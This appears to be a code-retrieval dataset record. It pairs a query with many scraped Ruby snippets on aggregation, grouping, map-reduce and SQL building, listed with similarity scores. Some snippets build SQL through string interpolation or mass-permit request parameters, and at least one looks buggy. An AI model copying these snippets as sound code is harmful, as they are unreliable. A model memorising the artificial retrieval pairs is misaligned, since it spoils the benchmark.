||= lambda do\n el = Placeholder::FIELD\n [Func::UNACCENT].each do |func|\n el = \"#{func}(#{el})\"\n end\n el\n end.call\n end", "def min(field)\n grouped(:min, field.to_s, Javascript.min)\n end", "def aggregate_sum(aggr)\n sum = {}\n aggr.each do |ts, counterVals|\n sum[ts] = {} unless sum.has_key?ts\n counterVals.each do |obj, count|\n if obj.respond_to?(:enterprise_id)\n eid = obj.public_send(:enterprise_id).to_s\n sum[ts][eid] = sum[ts].fetch(eid, 0) + count\n end\n end\n end\n sum\n end", "def group_by(grouping_field)\n @grouping_field = grouping_field\n end", "def aggregations\n @aggregations ||= {}.merge(facet_field_aggregations).merge(facet_query_aggregations).merge(facet_pivot_aggregations).merge(facet_json_aggregations)\n end", "def groupby_bookingnet\n { 'booking_net' => { '$sum' => '$booking_net' } } \n end", "def groupby_standardcost\n { 'std_cost' => { '$sum' => '$standard_cost' } } \n end", "def reflect_on_aggregation(aggregation)\n aggregate_reflections[aggregation.to_s]\n end", "def keyValuePairByAggQryTechPenetration(aggregateQuery, bookingColl)\n aggregateCursor = bookingColl.aggregate(aggregateQuery)\n keyArray = []; valueArray = []; returnObj = {}\n uniqueArray = []; techCount = 0; booking = 0\n aggregateCursor.each do |doc|\n techCount += 1\n uniqueArray << doc[:_id][:customers]\n end\n uniqueArray = uniqueArray.uniq\n keyArray << 'techPenetration'; valueArray << ScalarCalculators.calculateRatio(techCount, uniqueArray.size).to_f\n\n returnObj = {\n :key => keyArray,\n :value => valueArray\n }\n return returnObj\n end", "def calc_query(query, table, aggregate = {}, as=nil)\n\tquery = \"select #{query}\"\n\n\tif !aggregate.empty?\n\t\taggregate.each do |operation, column|\n\t\t\tquery += \"#{operation}(#{column}) \"\n\t\t\tquery += as \" #{as}\"\n\t\tend\n\tend\n\n\tquery += \" from #{table}\"\n\n\treturn query\nend", "def unwind(field)\n aggregation(field) do |pipeline|\n pipeline.unwind(field)\n end\n end", "def create_aggregate_handler( handler )\n type = nil\n arity = -1\n\n type = handler.function_type if handler.respond_to?(:function_type)\n arity = handler.arity if handler.respond_to?(:arity)\n name = handler.name\n\n case type\n when :numeric\n type = SQLite::API::NUMERIC\n when :text\n type = SQLite::API::TEXT\n when :args\n type = SQLite::API::ARGS\n end\n\n step = proc do |func,*args|\n ctx = SQLite::API.aggregate_context( func )\n ctx[ :handler ] ||= handler.new\n ctx[ :handler ].step( FunctionProxy.new( func, ctx ), *args )\n end\n\n finalize = proc do |func|\n ctx = SQLite::API.aggregate_context( func )\n ctx[ :handler ] ||= handler.new\n begin\n ctx[ :handler ].finalize( FunctionProxy.new( func, ctx ) )\n rescue Exception => e\n STDERR.puts \"BUG: #{e.message} (#{e.class.name})\"\n STDERR.puts \"*** WARNING **** WARNING **** WARNING **** WARNING ****\"\n STDERR.puts \"*** THIS EXCEPTION SHOULD BE FATAL, BUT DUE TO\"\n STDERR.puts \"*** FRAGILITY IN THE FINALIZE CALLBACK IT WILL NOT\"\n STDERR.puts \"*** ABORT THE PROGRAM. PLEASE NOTIFY THE DEVELOPER OF\"\n STDERR.puts \"*** THIS APPLICATION AND ASK THEM TO CORRECT THE\"\n STDERR.puts \"*** PROBLEM.\"\n STDERR.puts \"*** WARNING **** WARNING **** WARNING **** WARNING ****\"\n STDERR.puts e.backtrace.join( \"\\n\" )\n end\n end\n\n SQLite::API.create_aggregate( @handle, name, arity, step, finalize )\n SQLite::API.function_type( @handle, name, type ) if type\n\n self\n end", "def grouped(start, field, reduce)\n collection = klass.collection.group(\n :cond => selector,\n :initial => { start => \"start\" },\n :reduce => reduce.gsub(\"[field]\", field)\n )\n collection.empty? ? nil : collection.first[start.to_s]\n end", "def multiply_aggregation( node, normalized )\n aggregation = Hash.new\n normalized.keys.each do |entity|\n multiplicand = 0\n node['children'].each do |child|\n entity_hash = normalized[entity]\n if entity_hash.nil?\n entity_hash = Hash.new\n end\n if multiplicand == 0\n multiplicand = entity_hash[child['id']]\n else\n multiplicand *= entity_hash[child['id']]\n end\n end\n aggregation[entity] = multiplicand\n end\n aggregation\n end", "def create_aggregate(aggregate)\n raise MethodNotImplemented\n end", "def summarize(data, summarization_method, variable=nil)\n case summarization_method\n when 'sum'\n data = data.sum(variable)\n when 'max'\n data = data.maximum(variable)\n when 'count'\n data = data.count(variable)\n end\n end", "def local_field_values(original_entity, properties, field, aggregate)\n if !original_entity.group_by || original_entity.group_by == field\n return properties[field]\n end\n\n entity = original_entity.clone\n properties.each do |name, value|\n entity.eq(name, value)\n end\n entity.field_values(field, aggregate)\n end", "def process_aggregates\n aggregates = new_collection\n\n unless assessment_group.scoring_type == 2 # do except for scoring type 'grades'\n aggregates.push new_aggregate('score','Total Score',@total_score)\n percentage = @total_score.zero? ? nil : ((@total_score / @total_max) * 100).round(2)\n aggregates.push new_aggregate('percentage','Total Percentage', percentage)\n aggregates.push new_aggregate('grade','Overall Grade',overall_grade_set.grade_string_for(percentage)) if overall_grade_set.present?\n end\n\n aggregates\n end", "def group_by(field_or_proc, &block)\n proc = case field_or_proc\n when String, Symbol\n lambda { |obj| obj.public_send(field_or_proc) }\n when Proc\n field_or_proc\n else\n raise ArgumentError, 'group_by first argument must be a String, Symbol or Proc'\n end\n\n options[:group] = { block: block, proc: proc }\n self\n end", "def replace_aggregate!(&block)\n map! do |op|\n case\n when op.respond_to?(:aggregate?) && op.aggregate?\n yield op\n when op.respond_to?(:replace_aggregate!)\n op.replace_aggregate!(&block) \n else\n op\n end\n end\n self\n end", "def _reduce_7(val, _values)\n Group.new(val[1])\nend", "def aggregates\n @aggregates\n end", "def retrieve_aggregates\n fail ArgumentError, \"Invalid range type '#{range_type}'\" unless %w(year month week day hour).include? range_type\n scope = LineAggregate.\n where(:function => function).\n where(:range_type => 'normal').\n where(:account => account.try(:to_s)).\n where(:partner_account => partner_account.try(:to_s)).\n where(:code => code.try(:to_s)).\n where(:filter => filter.inspect).\n where(LineAggregate.arel_table[range_type].not_eq(nil))\n @aggregates = scope.each_with_object({}) do |result, hash|\n hash[result.key] = formatted_amount(result.amount)\n end\n end", "def visit_RGeo_ActiveRecord_SpatialNamedFunction(node, collector)\n name = st_func(node.name)\n exprs = []\n node.expressions.each_with_index do |expr, index|\n exprs << (node.spatial_argument?(index) ? visit_in_spatial_context(expr, collector) : visit(expr, collector))\n end\n collector << name\n collector << \"(\"\n collector << \"DISTINCT \" if node.distinct\n collector << exprs.join(\", \")\n collector << \")\"\n collector << \" AS #{visit(node.alias, collector)}\" if node.alias\n collector\n end", "def get aggregate_alias = nil\n if @aggregate_fields.count > 1 && aggregate_alias.nil?\n raise ArgumentError, \"Required param aggregate_alias for AggregateQuery with multiple aggregate fields\"\n end\n aggregate_alias ||= @aggregate_fields.keys.first\n @aggregate_fields[aggregate_alias]\n end", "def reduce\n fn = \"function(k, v) { \"\n fn << \"var results = [#{([\"0\"] * (@fields.length + 1)).flatten.join(\", \")}]; \"\n fn << \"v.forEach(function(val) { \"\n fn << \"for(var i=0; i<= #{@fields.length}; i++) { \"\n fn << \"results[i] += (typeof val[i] == Boolean) ? (val[i] ? 1 : 0) : val[i] \"\n fn << \"} \"\n fn << \"}); \"\n fn << \"return results.toString(); \"\n fn << \"}\"\n end", "def aggregated_over_time_query\n quantity_field = @country_ids.present? ? \"#{entity_quantity}_reported_quantity\" : \"#{@reported_by}_reported_quantity\"\n\n <<-SQL\n SELECT ROW_TO_JSON(row)\n FROM (\n SELECT JSON_AGG(JSON_BUILD_OBJECT('x', year, 'y', value) ORDER BY year) AS datapoints\n FROM (\n SELECT year, ROUND(SUM(#{quantity_field}::FLOAT)) AS value\n FROM #{shipments_table}\n #{child_taxa_join}\n WHERE #{@condition} AND #{quantity_field} IS NOT NULL AND #{country_condition}\n AND #{child_taxa_condition}\n GROUP BY year\n #{quantity_condition(quantity_field)}\n ORDER BY value DESC\n #{limit}\n ) t\n ) row\n SQL\n end", "def aggregation_params\n params.require(:aggregation).permit!\n end", "def run_aggregation\n GRADES.each_with_index do |grade, idx|\n classifier[grade].each_pair do |metric, values|\n all_values = values\n all_values += classifier[GRADES[idx + 1]][metric] if (idx + 1) < GRADES.count\n\n classifier[grade][metric] =\n if all_values.count <= 2\n values.max || 0\n else\n (all_values.sum / all_values.count).round(2)\n end\n end\n end\n end", "def group_by\n\n end", "def call_field(field)\n field.to_s.split('__').inject(self) { |a, e| a&.send(e) }\n rescue NoMethodError\n ''\n end", "def process(collection)\n return collection.inject(Results.new) do |h, k|\n key = k.values[0].to_s =~ /(^[-+]?[0-9]+$)|(\\.0+)$/ ? Integer(k.values[0]) : Float(k.values[0])\n val = serialize(k.values[1].is_a?(String) ? k.values[1].split(',') : k.values[1], @field_type)\n h << Document.new(:_key_name => @field_name, :_key_value => key, key.to_s => val, @count_field => val)\n end\n end", "def decorate_field(field)\n field\n end", "def aggregate\n #response = Result.collection.map_reduce(self.map_fn(), _reduce(), :raw => true, :out => {:inline => true}, :query => {:execution_id => id})\n response = Result.where(execution_id: id).map_reduce(self.map_fn(), self.query.reduce).out(inline: true).raw()\n results = response['results']\n if results\n self.aggregate_result = {}\n results.each do |result|\n result = prettify_generated_result(result) if self.query.generated? && result['value']['rereduced']\n self.aggregate_result[result['_id']] = result['value']\n end\n save!\n end\n end", "def group_by\n end", "def count_by column_name, field\n inc = increment_mask_for column_name, field\n only = only_mask_for column_name, field\n # Create super-special-bitfield-grouping-query w/ AREL\n sql = arel_table.\n project(\"count(#{primary_key}) as #{field}_count, (#{column_name} & #{only})/#{inc} as #{field}\").\n group(field).to_sql\n connection.send :select, sql, 'AREL' # Execute the query\n end" ]
[ "0.68445355", "0.668887", "0.6611655", "0.65102667", "0.6473885", "0.64478487", "0.6398687", "0.63440484", "0.62880415", "0.620975", "0.61713254", "0.61398405", "0.6064792", "0.5941599", "0.5881734", "0.587374", "0.5846559", "0.5731604", "0.57174873", "0.5693342", "0.56767625", "0.56350815", "0.56091344", "0.5595459", "0.55697805", "0.5528966", "0.55243605", "0.55220556", "0.55220073", "0.54845905", "0.5442124", "0.5435142", "0.5421665", "0.53833073", "0.537495", "0.53670436", "0.53556305", "0.53375655", "0.53308624", "0.5329619", "0.53118795", "0.5298988", "0.52949345", "0.5278998", "0.5259244", "0.5247017", "0.524317", "0.5238647", "0.5220496", "0.5213279", "0.5206121", "0.51877904", "0.5186822", "0.517778", "0.5169461", "0.51645184", "0.51596653", "0.514989", "0.51362634", "0.51359147", "0.51320094", "0.51190925", "0.50461537", "0.50444496", "0.50353307", "0.5022465", "0.5017585", "0.50145733", "0.50057304", "0.49935943", "0.49919292", "0.49911007", "0.4981077", "0.49737123", "0.49704343", "0.4956733", "0.49308228", "0.4925802", "0.49127123", "0.49114534", "0.4908453", "0.49031466", "0.48938513", "0.48925775", "0.4889713", "0.4879983", "0.48741576", "0.48731405", "0.48588738", "0.48459807", "0.484174", "0.48299864", "0.4822732", "0.48193243", "0.48110327", "0.48025647", "0.48002058", "0.47919494", "0.47767013", "0.47659114", "0.47626206" ]
0.0
-1
Prepare the aggregation function for a model class and a field
def prepare(model, field_name = nil) @model = model @selection = Babik::Selection::Path::Factory.build(model, @aggregation_path) @field_name = field_name || "#{self.table_alias}__#{SQL_OPERATION.downcase}" self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def aggregate\n klass.collection.group(\n :key => field_list,\n :cond => selector,\n :initial => { :count => 0 },\n :reduce => Javascript.aggregate\n )\n end", "def aggregate_function\n build_function(super, aggregate_constants)\n end", "def aggregation(*args, &block)\n @aggregations ||= AggregationsCollection.new\n @aggregations.update args.first => Aggregation.new(*args, &block)\n self\n end", "def add_aggregate_model(model, *keys)\n # {{{\n add_foreign_key_to(model, *keys)\n @aggregate_klasses[model.table_name] = [ model, *keys ]\n @aggregates_tree[model.table_name] = model.__associations__.aggregates_tree\n # Required attributes of aggregated models are not \n # required in this model, as aggregated models are \n # referenced by their pkey only and have to exist \n # in DB already. \n # Thus, the foreign key to an aggregated model is\n # required only: \n keys.flatten.each { |attribute|\n @accessor.__attributes__.set_required(attribute)\n }\n inherit(model)\n end", "def pipeline(field)\n db_field = \"$#{database_field_name(field)}\"\n sort, skip, limit = criteria.options.values_at(:sort, :skip, :limit)\n\n pipeline = []\n pipeline << { \"$match\" => criteria.exists(field => true).selector }\n pipeline << { \"$sort\" => sort } if sort && (skip || limit)\n pipeline << { \"$skip\" => skip } if skip\n pipeline << { \"$limit\" => limit } if limit\n pipeline << {\n \"$group\" => {\n \"_id\" => field.to_s,\n \"count\" => { \"$sum\" => 1 },\n \"max\" => { \"$max\" => db_field },\n \"min\" => { \"$min\" => db_field },\n \"sum\" => { \"$sum\" => db_field },\n \"avg\" => { \"$avg\" => db_field }\n }\n }\n end", "def new_aggregate(type,name, value)\n Models::Aggregate.new(\n :type => type,\n :parent_name => assessment_group.display_name,\n :parent_type => 'AssessmentGroup',\n :name => name,\n :value => value\n )\n end", "def aggregation(operation)\n return self unless operation\n clone.tap do |query|\n unless aggregating?\n query.pipeline.concat(query.selector.to_pipeline)\n query.pipeline.concat(query.options.to_pipeline)\n query.aggregating = true\n end\n yield(query.pipeline)\n end\n end", "def apply(_aggregate)\n raise NotImplementedError\n end", "def related_fields(method)\n \n end", "def add_aggregations\n add_collection_aggregation\n add_tag_aggregations\n end", "def sum(field = nil)\n block_given? ? super() : aggregates(field)[\"sum\"] || 0\n end", "def get_field_deserializers()\n return super.merge({\n \"buckets\" => lambda {|n| @buckets = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PlannerBucket.create_from_discriminator_value(pn) }) },\n \"plans\" => lambda {|n| @plans = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PlannerPlan.create_from_discriminator_value(pn) }) },\n \"tasks\" => lambda {|n| @tasks = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PlannerTask.create_from_discriminator_value(pn) }) },\n })\n end", "def aggregate_after_grouping?; @aggregate_after_grouping; end", "def max(field = nil)\n block_given? ? super() : aggregates(field)[\"max\"]\n end", "def aggregate_tags!\n map = \"function() {\n if (!this.#{tags_field}) {\n return;\n }\n\n for (index in this.#{tags_field}) {\n emit(this.#{tags_field}[index], 1);\n }\n }\"\n\n reduce = \"function(previous, current) {\n var count = 0;\n\n for (index in current) {\n count += current[index]\n }\n\n return count;\n }\"\n\n map_reduce_options = { :out => tags_aggregation_collection }.\n merge(tag_aggregation_options)\n collection.master.map_reduce(map, reduce, map_reduce_options)\n end", "def computed_fields; end", "def aggregate(request)\n end", "def aggregate_fields\n cube_class.aggregate_fields\n end", "def process_aggregates\n aggregates = new_collection\n\n unless assessment_group.scoring_type == 2 # do except for scoring type 'grades'\n aggregates.push new_aggregate('score','Total Score',@total_score)\n percentage = @total_score.zero? ? nil : ((@total_score / @total_max) * 100).round(2)\n aggregates.push new_aggregate('percentage','Total Percentage', percentage)\n aggregates.push new_aggregate('grade','Overall Grade',overall_grade_set.grade_string_for(percentage)) if overall_grade_set.present?\n end\n\n aggregates\n end", "def filter_agg(field:, value:, &block)\r\n agg = { agg: { filter: { term: { field => value } } } }\r\n base_agg(agg, block)\r\n end", "def get_form_summarize_methods\n [\n [\"count\"],\n [\"sum\"],\n [\"maximum\"],\n [\"minimum\"]\n ]\n end", "def get_field_deserializers()\n return {\n \"criteria1\" => lambda {|n| @criteria1 = n.get_string_value() },\n \"criteria2\" => lambda {|n| @criteria2 = n.get_string_value() },\n \"oper\" => lambda {|n| @oper = n.get_string_value() },\n }\n end", "def min(field = nil)\n block_given? ? super() : aggregates(field)[\"min\"]\n end", "def get_field_deserializers()\n return super.merge({\n \"averageInboundBitRate\" => lambda {|n| @average_inbound_bit_rate = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"averageInboundFrameRate\" => lambda {|n| @average_inbound_frame_rate = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"averageOutboundBitRate\" => lambda {|n| @average_outbound_bit_rate = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"averageOutboundFrameRate\" => lambda {|n| @average_outbound_frame_rate = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n })\n end", "def apply(aggregate)\n raise NotImplementedError\n end", "def get_field_deserializers()\n return super.merge({\n \"insights\" => lambda {|n| @insights = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::UserExperienceAnalyticsInsight.create_from_discriminator_value(pn) }) },\n \"metricValues\" => lambda {|n| @metric_values = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::UserExperienceAnalyticsMetric.create_from_discriminator_value(pn) }) },\n })\n end", "def mongoize(object)\n case object\n when Quantity\n object.mongoize\n when Numeric\n self.new(object).mongoize\n else\n object\n end\n end", "def aggregations\n @aggregations ||= AggregationSet.new\n end", "def _ field\n as_name = [name, field].join(\"_\").to_sym\n AS[\"#{relationize}.(#{field})\", as_name, Bag.new([field, field_type(field)]), nil, :skip_type]\n end", "def aggregate_options(field, calculated_options, aggregate_parameters)\n applied_options = filter_values_for_field(field)\n\n all_options = calculated_options.map { |option|\n [option[\"key\"], option[\"doc_count\"]]\n } + applied_options.map do |term|\n [term, 0]\n end\n\n unique_options = all_options.uniq do |term, _count|\n term\n end\n\n option_objects = unique_options.map do |term, count|\n make_aggregate_option(\n field,\n term,\n count,\n applied_options.include?(term),\n aggregate_parameters[:order],\n )\n end\n\n top_aggregate_options(option_objects, aggregate_parameters[:requested])\n end", "def aggregate(term = \"COUNT(*)\", options = {})\n # Leave this .dup here, causes problems because options are changed\n options = options.dup\n\n klass = options[:class]\n\n # Rename search term, SQL92 but _not_ SQL89 compatible\n options = {\n :select => \"#{term} AS #{term[/^\\w+/]}\"\n }.update(options)\n\n unless options[:group] || options[:group_by]\n options.delete(:order)\n options.delete(:order_by)\n end\n sql = resolve_options(klass, options)\n\n if field = options[:field]\n return_type = klass.ann(field, :class) || Integer\n else\n return_type = Integer\n end\n\n if options[:group] || options[:group_by]\n # This is an aggregation, so return the calculated values\n # as an array.\n values = []\n res = query(sql)\n res.each_row do |row, idx|\n values << type_cast(return_type, row[0])\n end\n return values\n else\n return type_cast(return_type, query(sql).first_value)\n end\n end", "def aggregate op, type = :fixnum\n check_closed\n\n aggregation_impl op, type\n end", "def get_field_deserializers()\n return super.merge({\n \"cloudIdentityScore\" => lambda {|n| @cloud_identity_score = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"cloudManagementScore\" => lambda {|n| @cloud_management_score = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"cloudProvisioningScore\" => lambda {|n| @cloud_provisioning_score = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"healthStatus\" => lambda {|n| @health_status = n.get_enum_value(MicrosoftGraph::Models::UserExperienceAnalyticsHealthState) },\n \"manufacturer\" => lambda {|n| @manufacturer = n.get_string_value() },\n \"model\" => lambda {|n| @model = n.get_string_value() },\n \"modelDeviceCount\" => lambda {|n| @model_device_count = n.get_number_value() },\n \"windowsScore\" => lambda {|n| @windows_score = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"workFromAnywhereScore\" => lambda {|n| @work_from_anywhere_score = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n })\n end", "def collect_operations(ops, aggregator = {})\n ops.each_with_object(aggregator) do |(field, value), operations|\n operations[database_field_name(field)] = value.mongoize\n end\n end", "def sum(field)\n grouped(:sum, field.to_s, Javascript.sum)\n end", "def local_field_values(original_entity, properties, field, aggregate)\n if !original_entity.group_by || original_entity.group_by == field\n return properties[field]\n end\n\n entity = original_entity.clone\n properties.each do |name, value|\n entity.eq(name, value)\n end\n entity.field_values(field, aggregate)\n end", "def post_process(aggregate)\n aggregate\n end", "def aggregate name, o, collector\n collector << \"#{name}(\"\n if o.distinct\n collector << \"DISTINCT \"\n end\n collector = inject_join(o.expressions, Arel::Collectors::Sunstone.new, \", \")# << \")\"\n if o.alias\n collector << \" AS \"\n visit o.alias, collector\n else\n collector\n end\n end", "def aggregate_f(*args)\n aggregate_function.f(*args)\n end", "def proc_query(field); end", "def get_field_deserializers()\n return super.merge({\n \"unit\" => lambda {|n| @unit = n.get_string_value() },\n \"value\" => lambda {|n| @value = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"insights\" => lambda {|n| @insights = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::UserExperienceAnalyticsInsight.create_from_discriminator_value(pn) }) },\n })\n end", "def call_field(field)\n field.to_s.split('__').inject(self) { |a, e| a.send(e) unless a.nil? }\n end", "def aggregate\n @aggregate ||= klass.build.tap do |aggregate|\n aggregate.instance_variable_set(:@id, id)\n aggregate.instance_variable_set(:@local_version, version)\n aggregate.instance_variable_set(:@persisted_version, version)\n events.each { |event| EventApplicator.apply_event!(aggregate, event) }\n end\n end", "def aggregates\n self.class.instance_variable_get(:@aggregates) || {}\n end", "def each_aggregate(&block)\n if block_given?\n @aggregates.each_function(&block)\n self\n else\n @aggregates.functions\n end\n end", "def typus_fields_for(filter); end", "def get_field_deserializers()\n return super.merge({\n \"osCheckFailedPercentage\" => lambda {|n| @os_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"processorCoreCountCheckFailedPercentage\" => lambda {|n| @processor_core_count_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"processorFamilyCheckFailedPercentage\" => lambda {|n| @processor_family_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"processorSpeedCheckFailedPercentage\" => lambda {|n| @processor_speed_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"processor64BitCheckFailedPercentage\" => lambda {|n| @processor64_bit_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"ramCheckFailedPercentage\" => lambda {|n| @ram_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"secureBootCheckFailedPercentage\" => lambda {|n| @secure_boot_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"storageCheckFailedPercentage\" => lambda {|n| @storage_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"totalDeviceCount\" => lambda {|n| @total_device_count = n.get_number_value() },\n \"tpmCheckFailedPercentage\" => lambda {|n| @tpm_check_failed_percentage = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"upgradeEligibleDeviceCount\" => lambda {|n| @upgrade_eligible_device_count = n.get_number_value() },\n })\n end", "def avg(field)\n aggregates(field)[\"avg\"]\n end", "def group_by_field\n self.find_field(self.group_by_field_name)\n end", "def group\n field = options[:fields].first\n documents.group_by { |doc| doc.send(field) }\n end", "def evolve(object)\n case object\n when Money then object.mongoize\n else object\n end\n end", "def populate_filters(_inputs)\n super.tap do\n self.class.filters.each do |name, filter|\n next if given?(name)\n\n model_field = self.class.model_field_cache_inverse[name]\n next if model_field.nil?\n\n value = public_send(model_field)&.public_send(name)\n public_send(\"#{name}=\", filter.clean(value, self))\n end\n end\n end", "def method_missing(meth, *args, &blk)\n super unless Fields.all.include?(meth)\n field meth, *args\n end", "def add_group_by(field)\n @group_by.push(field)\n end", "def postprocessed\n by_type(Ungroup, Unfold)\n end", "def store_aggregates\n raise NotImplementedError\n end", "def preprocessed\n by_type(Group, Fold)\n end", "def terms_agg(field:, size: 100, order_field: '_count', order_dir: 'desc', min_doc_count: 1, &block)\r\n agg = { agg: { terms: { field: field, size: size, min_doc_count: min_doc_count, order: { order_field => order_dir } } } }\r\n base_agg(agg, block)\r\n end", "def evolve(object)\n case object\n when self then object.mongoize\n when Symbol then mongoize(object)\n else object\n end\n end", "def calculate_fields!\n m_price_extend = qty * price\n attributes = { :price_extend => m_price_extend }\n self.update_attributes(attributes)\n end", "def initialize(klass, selector, options)\n options[:klass] = klass\n options[:selector] = selector\n options[:formula] ||= :aggregate_fields\n\n @klass = klass\n @selector = selector\n @formula_name = options[:formula]\n @options = options\n @fields = {}\n\n if options.key?(:fields)\n options[:fields].each do |f|\n field f.to_sym\n end\n end\n end", "def evolve(object)\n case object\n when Money then object.mongoize\n else object\n end\n end", "def get_field_deserializers()\n return super.merge({\n \"group\" => lambda {|n| @group = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Group.create_from_discriminator_value(pn) }) },\n \"includedSources\" => lambda {|n| @included_sources = n.get_enum_value(MicrosoftGraph::Models::SecuritySourceType) },\n })\n end", "def aggregation_params\n params.require(:aggregation).permit!\n end", "def facet_field_aggregations\n list_as_hash(facet_fields).each_with_object({}) do |(facet_field_name, values), hash|\n items = values.map do |value, hits|\n i = FacetItem.new(value: value, hits: hits)\n\n # solr facet.missing serialization\n if value.nil?\n i.label = I18n.t(:\"blacklight.search.fields.facet.missing.#{facet_field_name}\", default: [:\"blacklight.search.facets.missing\"])\n i.fq = \"-#{facet_field_name}:[* TO *]\"\n end\n\n i\n end\n\n options = facet_field_aggregation_options(facet_field_name)\n hash[facet_field_name] = FacetField.new(facet_field_name,\n items,\n options)\n\n # alias all the possible blacklight config names..\n blacklight_config.facet_fields.select { |k,v| v.field == facet_field_name }.each do |key,_|\n hash[key] = hash[facet_field_name]\n end if blacklight_config and !blacklight_config.facet_fields[facet_field_name]\n end\n end", "def aggregate\n public_send aggregate_name\n end", "def initialize(model, functions)\n @model = model\n @functions = []\n functions.each do |field_name, function|\n @functions << function.prepare(@model, field_name)\n end\n end", "def merge_power_distribition\n # method to be developed for any attributes to be aggregated or merged\n end", "def groupby_bookingnet\n { 'booking_net' => { '$sum' => '$booking_net' } } \n end", "def replace_aggregate!(&block)\n map! do |op|\n case\n when op.respond_to?(:aggregate?) && op.aggregate?\n yield op\n when op.respond_to?(:replace_aggregate!)\n op.replace_aggregate!(&block) \n else\n op\n end\n end\n self\n end", "def run_aggregation\n GRADES.each_with_index do |grade, idx|\n classifier[grade].each_pair do |metric, values|\n all_values = values\n all_values += classifier[GRADES[idx + 1]][metric] if (idx + 1) < GRADES.count\n\n classifier[grade][metric] =\n if all_values.count <= 2\n values.max || 0\n else\n (all_values.sum / all_values.count).round(2)\n end\n end\n end\n end", "def group_by\n\n end", "def get_field_deserializers()\n return {\n \"cost\" => lambda {|n| @cost = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"life\" => lambda {|n| @life = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"per\" => lambda {|n| @per = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"salvage\" => lambda {|n| @salvage = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n }\n end", "def get_field_deserializers()\n return {\n \"cumulative\" => lambda {|n| @cumulative = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"z\" => lambda {|n| @z = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n }\n end", "def arel_field\n case param.field.options[:transmogrification]\n when :timestamp_to_hours\n Arel::Nodes::NamedFunction.new('TIMESTAMPDIFF', [Arel::Nodes::SqlLiteral.new('HOUR'), arel_table[field], Arel::Nodes::SqlLiteral.new('UTC_TIMESTAMP()')])\n when :timestamp_to_days\n Arel::Nodes::NamedFunction.new('TIMESTAMPDIFF', [Arel::Nodes::SqlLiteral.new('DAY'), arel_table[field], Arel::Nodes::SqlLiteral.new('UTC_TIMESTAMP()')])\n when :sum\n Arel::Nodes::NamedFunction.new('SUM', [arel_table[field]])\n when :upper\n Arel::Nodes::NamedFunction.new('UPPER', [arel_table[field]])\n when :lower\n Arel::Nodes::NamedFunction.new('LOWER', [arel_table[field]])\n else\n arel_table[field]\n end\n end", "def get_field_deserializers()\n return {\n \"cumulative\" => lambda {|n| @cumulative = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"numberF\" => lambda {|n| @number_f = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"numberS\" => lambda {|n| @number_s = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"probabilityS\" => lambda {|n| @probability_s = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n }\n end", "def aggregator(agg = nil, opts = EMPTY_HASH)\n @aggregator = if agg.nil? && !defined?(@aggregator)\n Aggregators.default\n elsif agg.respond_to?(:new)\n agg.new(filter: filter, **opts)\n elsif agg\n Aggregators.resolve(agg, filter: filter, **opts)\n else\n @aggregator\n end\n end", "def process(collection)\n return collection.inject(Results.new) do |h, k|\n key = k.values[0].to_s =~ /(^[-+]?[0-9]+$)|(\\.0+)$/ ? Integer(k.values[0]) : Float(k.values[0])\n val = serialize(k.values[1].is_a?(String) ? k.values[1].split(',') : k.values[1], @field_type)\n h << Document.new(:_key_name => @field_name, :_key_value => key, key.to_s => val, @count_field => val)\n end\n end", "def get_field_deserializers()\n return super.merge({\n \"classification\" => lambda {|n| @classification = n.get_enum_value(MicrosoftGraph::Models::SecurityHostReputationClassification) },\n \"rules\" => lambda {|n| @rules = n.get_collection_of_object_values(lambda {|pn| 